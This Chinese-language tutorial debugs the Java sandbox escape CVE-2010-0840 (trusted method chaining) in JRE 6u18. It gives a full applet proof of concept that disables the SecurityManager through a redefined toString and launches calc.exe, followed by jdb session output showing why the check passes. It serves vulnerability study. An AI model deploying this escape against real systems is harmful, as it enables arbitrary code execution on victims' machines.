Java 漏洞調試科普
Cve2010-0840
author : instruder
介紹
以cve2010-0840的Java Runtime Environment Trusted Methods Chaining Remote CodeExecution Vulnerability漏洞爲例,介紹下如何調試java漏洞。
這個漏洞影響的java版本
Jre 6u18
Jdk 6u18
上面的url裏面可以下到對於的java程序版本,不過要註冊下才行。
Poc
importjava.applet.Applet;
importjavax.script.Bindings;
importjavax.script.ScriptEngine;
importjavax.script.ScriptEngineManager;
importjavax.script.ScriptException;
importjavax.swing.JList;
publicclasscve2010_0840_meta extends Applet
{
public void init()
{
try
{
ScriptEngine localScriptEngine = new ScriptEngineManager().getEngineByName("js");
Bindings localBindings = localScriptEngine.createBindings();
localBindings.put("applet", this);
Object localObject = localScriptEngine.eval("this.toString = function(){\tjava.lang.System.setSecurityManager(null);\tapplet.callBack();\treturnString.fromCharCode(97 + Math.round(Math.random() * 25));};e = newError();e.message = this;e", localBindings);
JListlocalJList = new JList(new Object[] { localObject });
add(localJList);
}
catch (ScriptExceptionlocalScriptException) {
localScriptException.printStackTrace();
}
}
public void callBack() {
try {
Runtime.getRuntime().exec("calc.exe");
}
catch (ExceptionlocalException)
{
}
}
}
Debug 準備
將上述poc保存成cve2010_0840_meta.java
使用 javac.exe 進行編譯,通過加入-g選項,可以在調試的過程中加入各種調試信息
上述命令會生成一個.class文件
然後通過在html裏面寫入
<APPLETCODE="cve2010_0840_meta.class" WIDTH=200 HEIGHT=100></APPLET>
既可以通過這個html調用這個java。
調試
調試applet可以通過applentviewer進行調試,jdk自帶的bin目錄下面
這個applerviewer是模擬瀏覽器環境,不同於直接調試java程序,在瀏覽器環境中的安全級別是設置過的,特權操作不允許執行,可以模擬真實的漏洞觸發環境。
具體的調試命令,可以看appletviewer的help命令
常見的debug命令
stop in <類 ID>.<方法>[(參數類型,...)]
-- 在方法中設置斷點
stop at <類 ID>:<行> -- 在行中設置斷點
where [<線程 ID> | all] -- 轉儲線程的堆棧
wherei [<線程 ID> | all] -- 轉儲線程的堆棧以及 pc 信息
run [類 [參數]] -- 開始執行應用程序的主類
step -- 執行當前行
step up -- 執行到當前方法返回其調用方
stepi -- 執行當前指令
next -- 跳過一行(跨過調用)
cont -- 從斷點處繼續執行
clear <類 ID>.<方法>[(參數類型,...)]
-- 清除方法中的斷點
clear <類 ID>:<行> -- 清除行中的斷點
clear -- 列出斷點
!! -- 重複執行最後一個命令
<n> <命令> -- 將命令重複執行 n 次
# <命令> -- 放棄(不執行)
help(或 ?) -- 列出命令
version -- 輸出版本信息
exit(或 quit) -- 退出調試器
use(或 sourcepath)[源文件路徑] (設置(jdk/src.zip)源代碼路徑,可以通過list顯示源碼)
debug
這個漏洞是java的信任代碼調用鏈驗證出的問題,jvm在運行時,會對當前的操作進行檢查,通過遍歷堆棧,看是否有不信任的代碼存在,有的話則不允許特權的操作。但是,java有個特點,假如一個父類foo定義了一個call方法,這個foo類有個子類bar,當在堆棧中有這個bar類的實例,並且調用了這個call方法,jvm會對foo這個父類進行檢查,而不是這個bar類。Java中有很多java核心信任類的對象調用方法可以通過子類或者反序列化被不信任的代碼直接定義。
這個漏洞應該是通過重新定義了this.toSting 函數,並且通過applet的ui線程調度JList容器來執行這個toSting函數,當執行到這個sting函數裏面的setSecurityManager特權操作時,此時整個堆棧都是可信任的代碼,因此繞過了jvm的sanbox 安全檢查。
C:\ProgramFiles\Java\jdk1.6.0_18\bin>appletviewer.exe -debug "C:\Program Files\
Java\1.html"
正在初始化 jdb...
> stop injava.lang.System.setSecurityManager
正在延遲斷點 java.lang.System.setSecurityManager。
將在裝入類之後對其進行設置。
> use C:\Program Files\Java\1
> run
運行 sun.applet.Main "C:\Program Files\Java\1.html"
設置未捕捉到 java.lang.Throwable
設置延遲的斷點 java.lang.System.setSecurityManager
設置延遲的未捕捉到 java.lang.Throwable
>
VM 已啓動:
斷點命中: "thread=main", java.lang.System.setSecurityManager(),line=259 bci=0
259 s.checkPackageAccess("java.lang");
main[1] where
[1]java.lang.System.setSecurityManager (System.java:259)
[2]sun.applet.Main.init (Main.java:366)
[3]sun.applet.Main.run (Main.java:130)
[4]sun.applet.Main.main (Main.java:80)
main[1] list
255 */
256 public static
257 void setSecurityManager(final SecurityManager s) {
258 try {
259 => s.checkPackageAccess("java.lang");
260 } catch (Exception e) {
261 // no-op
262 }
263 setSecurityManager0(s);
264 }
main[1] cont
>
斷點命中: "thread=AWT-EventQueue-1",java.lang.System.setSecurityManager(), lin
e=259 bci=0
259 s.checkPackageAccess("java.lang");
AWT-EventQueue-1[1] where
[1]java.lang.System.setSecurityManager (System.java:259)
[2]sun.reflect.NativeMethodAccessorImpl.invoke0 (本機方法)
[3]sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java
:39)
[4]sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorI
mpl.java:25)
[5]java.lang.reflect.Method.invoke (Method.java:597)
[6]sun.reflect.misc.Trampoline.invoke (MethodUtil.java:37)
[7]sun.reflect.NativeMethodAccessorImpl.invoke0 (本機方法)
[8]sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java
:39)
[9]sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorI
mpl.java:25)
[10] java.lang.reflect.Method.invoke (Method.java:597)
[11] sun.reflect.misc.MethodUtil.invoke (MethodUtil.java:244)
[12] sun.org.mozilla.javascript.internal.MemberBox.invoke (MemberBox.java:132
)
[13] sun.org.mozilla.javascript.internal.NativeJavaMethod.call (NativeJavaMeth
od.java:190)
[14] sun.org.mozilla.javascript.internal.Interpreter.interpretLoop (Interprete
r.java:3,073)
[15] sun.org.mozilla.javascript.internal.Interpreter.interpret (Interpreter.ja
va:2,239)
[16] sun.org.mozilla.javascript.internal.InterpretedFunction.call (Interpreted
Function.java:138)
[17] sun.org.mozilla.javascript.internal.ContextFactory.doTopCall (ContextFact
ory.java:323)
[18] sun.org.mozilla.javascript.internal.ScriptRuntime.doTopCall (ScriptRuntim
e.java:2,747)
[19] sun.org.mozilla.javascript.internal.InterpretedFunction.call (Interpreted
Function.java:136)
[20] com.sun.script.javascript.ExternalScriptable.getDefaultValue (ExternalScr
iptable.java:343)
[21]sun.org.mozilla.javascript.internal.ScriptRuntime.toString (ScriptRuntime
.java:664)
[22] sun.org.mozilla.javascript.internal.NativeError.getString (NativeError.ja
va:170)
[23] sun.org.mozilla.javascript.internal.NativeError.js_toString (NativeError.
java:120)
[24] sun.org.mozilla.javascript.internal.NativeError.toString (NativeError.jav
a:82)
[25] javax.swing.DefaultListCellRenderer.getListCellRendererComponent (Default
ListCellRenderer.java:134)
[26] javax.swing.plaf.basic.BasicListUI.updateLayoutState (BasicListUI.java:1
,344)
[27] javax.swing.plaf.basic.BasicListUI.maybeUpdateLayoutState (BasicListUI.ja
va:1,294)
[28] javax.swing.plaf.basic.BasicListUI.getPreferredSize (BasicListUI.java:561)
[29] javax.swing.JComponent.getPreferredSize (JComponent.java:1,634)
[30] java.awt.FlowLayout.layoutContainer (FlowLayout.java:594)
[31] java.awt.Container.layout (Container.java:1,421)
[32] java.awt.Container.doLayout (Container.java:1,410)
[33] java.awt.Container.validateTree (Container.java:1,507)
[34] java.awt.Container.validateTree (Container.java:1,513)
[35] java.awt.Container.validate (Container.java:1,480)
[36] sun.applet.AppletPanel$2.run (AppletPanel.java:444)
[37] java.awt.event.InvocationEvent.dispatch (InvocationEvent.java:199)
[38] java.awt.EventQueue.dispatchEvent (EventQueue.java:597)
[39] java.awt.EventDispatchThread.pumpOneEventForFilters (EventDispatchThread.
java:269)
[40] java.awt.EventDispatchThread.pumpEventsForFilter (EventDispatchThread.jav
a:184)
[41] java.awt.EventDispatchThread.pumpEventsForHierarchy (EventDispatchThread.
java:174)
[42] java.awt.EventDispatchThread.pumpEvents (EventDispatchThread.java:169)
[43] java.awt.EventDispatchThread.pumpEvents (EventDispatchThread.java:161)
[44] java.awt.EventDispatchThread.run (EventDispatchThread.java:122)
AWT-EventQueue-1[1]
此時執行了this.toString函數的,此時通過列出堆棧,所有的item都是信任代碼,都是屬於java自身的核心代碼,從而通過jvm的sanbox安全檢查,關閉掉SecurityManager後,就可以爲所欲爲了:)
Ps:java的安全性纔開始學習,很多不明白的地方望指教:)
額,明明javac.exe編譯時加了-g選項,但是debug時,print 和locals都顯示不出局部變量,球解釋。
Ref
簡單談談Java Exploit
http://bbs.pediy.com/showthread.php?t=143826
Java Trusted Method Chaining(CVE-2010-0840/ZDI-10-056)
http://slightlyrandombrokenthoughts.blogspot.com/2010/04/java-trusted-method-chaining-cve-2010.html